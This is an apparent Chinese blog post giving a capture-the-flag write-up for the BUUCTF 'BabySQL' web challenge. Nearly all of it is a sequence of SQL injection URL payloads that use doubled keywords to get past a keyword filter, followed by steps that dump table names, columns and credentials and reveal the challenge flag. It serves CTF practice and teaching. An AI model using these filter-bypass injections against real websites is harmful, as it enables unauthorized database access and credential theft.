buuctf-cf2 WEB [极客大挑战 2019]BabySQL writeup
原创
长弓三皮
长弓三皮
长弓三皮
2026年11月8日 08:08
湖南
去阅读
随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。
朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！
作者：随波逐流
buuctf-ctf2 WEB
随波逐流
WriteUp
打开 [随波逐流]WEB安全工具访问
随便输入admin:123
源代码也看不出什么
扫描试试
密码：ce9e583ae35e11bf386a4da146abfb87
?username=admin&password=ce9e583ae35e11bf386a4da146abfb87' oorrder bbyy '3' %23
登录回显成功，说明有3列
?username=admin&password=' uniunionon selselectect 1,2,3%23
2、3列回显位
爆数据库
?username=admin&password=' uniunionon selselectect 1,2,database()%23
爆表名
?username=admin&password=' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
爆列名
?username=admin&password=' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23
爆字段数据
?username=admin&password=' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23
CTF2{630f8c35-65af-4be3-b25d-856cb5b29e16}
公众号内输入
搜索公众号+题目标题
可搜索到此文章
软件发布网址： 随波逐流信息安全网
http://www.1o1o.xyz
微信公众号：长弓三皮
你若喜欢，为“长弓三皮”点个赞和在看哦 
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
![buuctf-cf2 WEB[极客大挑战2019]BabySQLwriteup"](/images/random/titlepic/9.jpg)
评论